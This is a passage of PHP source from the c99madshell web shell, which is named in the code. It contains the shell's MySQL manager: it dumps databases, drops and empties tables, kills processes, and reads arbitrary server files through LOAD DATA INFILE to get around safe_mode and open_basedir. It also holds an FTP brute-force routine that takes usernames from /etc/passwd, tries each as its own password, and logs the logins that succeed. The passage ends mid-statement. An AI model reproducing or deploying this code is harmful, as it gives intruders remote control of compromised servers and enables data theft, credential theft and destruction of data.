1036      echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
1037      echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
1038      echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
1039      echo "</form>";
1040     }
1041     else
1042     {
1043      $diplay = TRUE;
1044      $set = array();
1045      $set["sock"] = $sql_sock;
1046      $set["db"] = $sql_db;
1047      $dump_out = "download";
1048      $set["print"] = 0;
1049      $set["nl2br"] = 0;
1050      $set[""] = 0;
1051      $set["file"] = $dump_file;
1052      $set["add_drop"] = TRUE;
1053      $set["onlytabs"] = array();
1054      if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
1055      $ret = mysql_dump($set);
1056      if ($sql_dump_download)
1057      {
1058       @ob_clean();
1059       header("Content-type: application/octet-stream");
1060       header("Content-length: ".strlen($ret));
1061       header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
1062       echo $ret;
1063       exit;
1064      }
1065      elseif ($sql_dump_savetofile)
1066      {
1067       $fp = fopen($sql_dump_file,"w");
1068       if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
1069       else
1070       {
1071        fwrite($fp,$ret);
1072        fclose($fp);
1073        echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
1074       }
1075      }
1076      else {echo "<b>Dump: nothing to do!</b>";}
1077     }
1078    }
1079    if ($diplay)
1080    {
1081     if (!empty($sql_tbl))
1082     {
1083      if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
1084      $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
1085      $count_row = mysql_fetch_array($count);
1086      mysql_free_result($count);
1087      $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
1088      $tbl_struct_fields = array();
1089      while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
1090      if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
1091      if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
1092      if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
1093      if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
1094      $perpage = $sql_tbl_le - $sql_tbl_ls;
1095      if (!is_numeric($perpage)) {$perpage = 10;}
1096      $numpages = $count_row[0]/$perpage;
1097      $e = explode(" ",$sql_order);
1098      if (count($e) == 2)
1099      {
1100       if ($e[0] == "d") {$asc_desc = "DESC";}
1101       else {$asc_desc = "ASC";}
1102       $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
1103      }
1104      else {$v = "";}
1105      $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
1106      $result = mysql_query($query) or print(mysql_smarterror());
1107      echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
1108      echo "<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.sql_tbl.value='".urlencode($sql_tbl)."';document.sql.sql_tbl_act.value='structure';document.sql.submit();\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
1109      echo "<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.sql_tbl.value='".urlencode($sql_tbl)."';document.sql.sql_tbl_act.value='browse';document.sql.submit();\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
1110      echo "<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.sql_tbl.value='".urlencode($sql_tbl)."';document.sql.sql_act.value='tbldump';document.sql.thistbl.value='1';document.sql.submit();\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
1111      echo "<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.sql_tbl.value='".urlencode($sql_tbl)."';document.sql.sql_tbl_act.value='insert';document.sql.thistbl.value='1';document.sql.submit();\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
1112      if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
1113      if ($sql_tbl_act == "insert")
1114      {
1115       if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
1116       if (!empty($sql_tbl_insert_radio))
1117       {
1118 
1119       }
1120       else
1121       {
1122        echo "<br><br><b>Inserting row into table:</b><br>";
1123        if (!empty($sql_tbl_insert_q))
1124        {
1125         $sql_query = "SELECT * FROM `".$sql_tbl."`";
1126         $sql_query .= " WHERE".$sql_tbl_insert_q;
1127         $sql_query .= " LIMIT 1;";
1128         $sql_query = urldecode($sql_query);
1129         $sql_tbl_insert_q = urldecode($sql_tbl_insert_q);
1130         $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
1131         $values = mysql_fetch_assoc($result);
1132         mysql_free_result($result);
1133        }
1134        else {$values = array();}
1135        echo "<form method=\"POST\"><input type=hidden name='sql_tbl_act' value='insert'><input type=hidden name='sql_tbl_insert_q' value='".urlencode($sql_tbl_insert_q)."'><input type=hidden name='sql_tbl_ls' value='".$sql_tbl_ls."'><input type=hidden name='sql_tbl_le' value='".$sql_tbl_le."'><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"act\" value=\"sql\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
1136 
1137        foreach ($tbl_struct_fields as $field)
1138        {
1139         $name = $field["Field"];
1140         if (empty($sql_tbl_insert_q)) {$v = "";}
1141         echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
1142         $i++;
1143        }
1144        echo "</table><br>";
1145        echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
1146        if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
1147        echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
1148       }
1149      }
1150      if ($sql_tbl_act == "browse")
1151      {
1152       $sql_tbl_ls = abs($sql_tbl_ls);
1153       $sql_tbl_le = abs($sql_tbl_le);
1154       echo "<hr size=\"1\" noshade>";
1155       $b = 0;
1156       for($i=0;$i<$numpages;$i++)
1157       {
1158        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.sql_tbl.value='".urlencode($sql_tbl)."';document.sql.thistbl.value='1';document.sql.sql_order.value='".htmlspecialchars($sql_order)."';document.sql.sql_tbl_ls.value='".($i*$perpage)."';document.sql.sql_tbl_le.value='".($i*$perpage+$perpage)."';document.sql.submit();\"><u>";}
1159        echo $i;
1160        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
1161        if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
1162        else {echo "&nbsp;";}
1163       }
1164       if ($i == 0) {echo "empty";}
1165       echo "<form method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
1166       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";
1167       echo "<tr>";
1168       echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
1169       for ($i=0;$i<mysql_num_fields($result);$i++)
1170       {
1171        $v = mysql_field_name($result,$i);
1172        if ($e[0] == "a") {$s = "d"; $m = "asc";}
1173        else {$s = "a"; $m = "desc";}
1174        echo "<td>";
1175        if (empty($e[0])) {$e[0] = "a";}
1176        if ($e[1] != $v) {$sql_order="";$sql_order=$e[0]." ".$v;echo "<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.sql_tbl.value='".urlencode($sql_tbl)."';document.sql.sql_order.value='".$sql_order."';document.sql.sql_tbl_ls.value='".$sql_tbl_ls."';document.sql.sql_tbl_le.value='".$sql_tbl_le."';document.sql.submit();\"><b>".$v."</b></a>";}
1177        else {echo "<b>".$v."</b> <a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.sql_tbl.value='".urlencode($sql_tbl)."';document.sql.sql_order.value='".$s."%20".$v."';document.sql.sql_tbl_ls.value='".$sql_tbl_ls."';document.sql.sql_tbl_le.value='".$sql_tbl_le."';document.sql.submit();\"><font color=red>\/</font></a>";}
1178        echo "</td>";
1179       }
1180       echo "<td><font color=\"green\"><b>Action</b></font></td>";
1181       echo "</tr>";
1182       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
1183       {
1184        echo "<tr>";
1185        $w = "";
1186        $i = 0;
1187        foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
1188        if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
1189        echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
1190        $i = 0;
1191        foreach ($row as $k=>$v)
1192        {
1193         $v = htmlspecialchars($v);
1194         if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
1195         echo "<td>".$v."</td>";
1196         $i++;
1197        }
1198        echo "<td>";
1199        echo "<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.sql_act.value='query';document.sql.sql_query.value='".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."';document.sql.sql_tbl.value='".urlencode($sql_tbl)."';document.sql.sql_tbl_ls.value='".$sql_tbl_ls."';document.sql.sql_tbl_le.value='".$sql_tbl_le."';document.sql.submit();\"><b>DEL</b></a>&nbsp;";
1200        echo "<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.sql_tbl_act.value='insert';document.sql.sql_tbl_insert_q.value='".urlencode($w)."';document.sql.sql_tbl.value='".urlencode($sql_tbl)."';document.sql.sql_tbl_ls.value='".$sql_tbl_ls."';document.sql.sql_tbl_le.value='".$sql_tbl_le."';document.sql.submit();\"><b>EDIT</b></a>&nbsp;";
1201        echo "</td>";
1202        echo "</tr>";
1203       }
1204       mysql_free_result($result);
1205       echo "</table><hr size=\"1\" noshade><p align=\"left\"><select name=\"sql_act\">";
1206       echo "<option value=\"\">With selected:</option>";
1207       echo "<option value=\"deleterow\">Delete</option>";
1208       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
1209      }
1210     }
1211     else
1212     {
1213      $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
1214      if (!$result) {echo mysql_smarterror();}
1215      else
1216      {
1217       echo "<br><form method=\"POST\"><input name='act' type='hidden' value='sql'><input name='sql_login' type='hidden' value='".$sql_login."'><input name='sql_server' type='hidden' value='".$sql_server."'><input name='sql_port' type='hidden' value='".$sql_port."'><input name='sql_db' type='hidden' value='".$sql_db."'><input name='sql_passwd' type='hidden' value='".$sql_passwd."'><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
1218       $i = 0;
1219       $tsize = $trows = 0;
1220       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
1221       {
1222        $tsize += $row["Data_length"];
1223        $trows += $row["Rows"];
1224        $size = view_size($row["Data_length"]);
1225        echo "<tr>";
1226        echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
1227 
1228        echo "<td>&nbsp;<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.sql_tbl.value='".urlencode($row["Name"])."';document.sql.submit();\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
1229        echo "<td>".$row["Rows"]."</td>";
1230        echo "<td>".$row["Type"]."</td>";
1231        echo "<td>".$row["Create_time"]."</td>";
1232        echo "<td>".$row["Update_time"]."</td>";
1233        echo "<td>".$size."</td>";
1234 
1235        echo "<td>&nbsp;<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_act.value='query';document.sql.sql_query.value='".urlencode("DELETE FROM `".$row["Name"]."`")."';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.submit();\"><b>EMPT</b></a>&nbsp;&nbsp;<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_act.value='query';document.sql.sql_query.value='".urlencode("DROP TABLE `".$row["Name"]."`")."';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.submit();\"><b>DROP</b></a>&nbsp;<a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_tbl.value='".$row["Name"]."';document.sql.sql_tbl_act.value='insert';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.submit();\"><b>INS</b></a>&nbsp;</td>";
1236        echo "</tr>";
1237        $i++;
1238       }
1239       echo "<tr bgcolor=\"000000\">";
1240       echo "<td><center><b></b></center></td>";
1241       echo "<td><center><b>".$i." table(s)</b></center></td>";
1242       echo "<td><b>".$trows."</b></td>";
1243       echo "<td>".$row[1]."</td>";
1244       echo "<td>".$row[10]."</td>";
1245       echo "<td>".$row[11]."</td>";
1246       echo "<td><b>".view_size($tsize)."</b></td>";
1247       echo "<td></td>";
1248       echo "</tr>";
1249       echo "</table><hr size=\"1\" noshade><p align=\"right\"><select name=\"sql_act\">";
1250       echo "<option value=\"\">With selected:</option>";
1251       echo "<option value=\"tbldrop\">Drop</option>";
1252       echo "<option value=\"tblempty\">Empty</option>";
1253       echo "<option value=\"tbldump\">Dump</option>";
1254       echo "<option value=\"tblcheck\">Check table</option>";
1255       echo "<option value=\"tbloptimize\">Optimize table</option>";
1256       echo "<option value=\"tblrepair\">Repair table</option>";
1257       echo "<option value=\"tblanalyze\">Analyze table</option>";
1258       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
1259       mysql_free_result($result);
1260      }
1261     }
1262    }
1263    }
1264   }
1265   else
1266   {
1267    $acts = array("","newdb","serverstatus","servervars","processes","getfile");
1268    if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form method="POST"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form method="POST"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
1269    if (!empty($sql_act))
1270    {
1271     echo "<hr size=\"1\" noshade>";
1272     if ($sql_act == "newdb")
1273     {
1274      echo "<b>";
1275      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
1276      else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
1277     }
1278     if ($sql_act == "serverstatus")
1279     {
1280      $result = mysql_query("SHOW STATUS", $sql_sock);
1281      echo "<center><b>Server-status variables:</b><br><br>";
1282      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
1283      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
1284      echo "</table></center>";
1285      mysql_free_result($result);
1286     }
1287     if ($sql_act == "servervars")
1288     {
1289      $result = mysql_query("SHOW VARIABLES", $sql_sock);
1290      echo "<center><b>Server variables:</b><br><br>";
1291      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
1292      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
1293      echo "</table>";
1294      mysql_free_result($result);
1295     }
1296     if ($sql_act == "processes")
1297     {
1298      if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
1299      $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
1300      echo "<center><b>Processes:</b><br><br>";
1301      echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
1302      while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_act.value='processes';document.sql.kill.value='".$row[0]."';document.sql.submit();\"><u>Kill</u></a></td></tr>";}
1303      echo "</table>";
1304      mysql_free_result($result);
1305     }
1306     if ($sql_act == "getfile")
1307     {
1308      $tmpdb = $sql_login."_tmpdb";
1309      $select = mysql_select_db($tmpdb);
1310      if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
1311      if ($select)
1312      {
1313       $created = FALSE;
1314       mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
1315       mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
1316       $result = mysql_query("SELECT * FROM tmp_file;");
1317       if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
1318       else
1319       {
1320        for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
1321        $f = "";
1322        while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("
1323 ",$row);}
1324        if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
1325        else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
1326        mysql_free_result($result);
1327        mysql_query("DROP TABLE tmp_file;");
1328       }
1329      }
1330      mysql_drop_db($tmpdb); //comment it if you want to leave database
1331     }
1332    }
1333   }
1334  }
1335  echo "</td></tr></table>";
1336  if ($sql_sock)
1337  {
1338   $affected = @mysql_affected_rows($sql_sock);
1339   if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
1340   echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>";
1341  }
1342  echo "</table>";
1343 }
1344 if ($act == "mkdir")
1345 {
1346  if ($mkdir != $d)
1347  {
1348   if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
1349   elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
1350   echo "<br><br>";
1351  }
1352  $act = $dspact = "ls";
1353 }
1354 if ($act == "ftpquickbrute")
1355 {
1356  echo "<b>Ftp Quick brute:</b><br>";
1357  if (!win) {echo "This functions not work in Windows!<br><br>";}
1358  else
1359  {
1360   function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
1361   {
1362    if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
1363    else {$TRUE = TRUE;}
1364    if ($TRUE)
1365    {
1366     $sock = @ftp_connect($host,$port,$timeout);
1367     if (@ftp_login($sock,$login,$pass))
1368     {
1369      echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
1370      ob_flush();
1371      return TRUE;
1372     }
1373    }
1374   }
1375   if (!empty($submit))
1376   {
1377    if (isset($_POST['fqb_lenght'])) $fqb_lenght = $_POST['fqb_lenght'];
1378    if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
1379    $fp = fopen("/etc/passwd","r");
1380    if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
1381    else
1382    {
1383     if (isset($_POST['fqb_logging'])) $fqb_logging = $_POST['fqb_logging'];
1384     if ($fqb_logging)
1385     {
1386      if (isset($_POST['fqb_logfile'])) $fqb_logging = $_POST['fqb_logfile'];
1387      if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
1388      else {$fqb_logfp = FALSE;}
1389      $fqb_log = "FTP Quick Brute (called c99madshell v. ".$shver.") started at ".date("d.m.Y H:i:s")."
1390 
1391 ";
1392      if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1393     }
1394     ob_flush();
1395     $i = $success = 0;
1396     $ftpquick_st = getmicrotime();
1397     while(!feof($fp))
1398     {
1399      $str = explode(":",fgets($fp,2048));
1400      if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
1401      {
1402       echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
1403       $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."
1404 ";
1405       if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1406       $success++;
1407       ob_flush();
1408      }
1409      if ($i > $fqb_lenght) {break;}
1410      $i++;
1411     }
1412     if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!
1413 ";}
1414     $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
1415     echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
1416     $fqb_log .= "
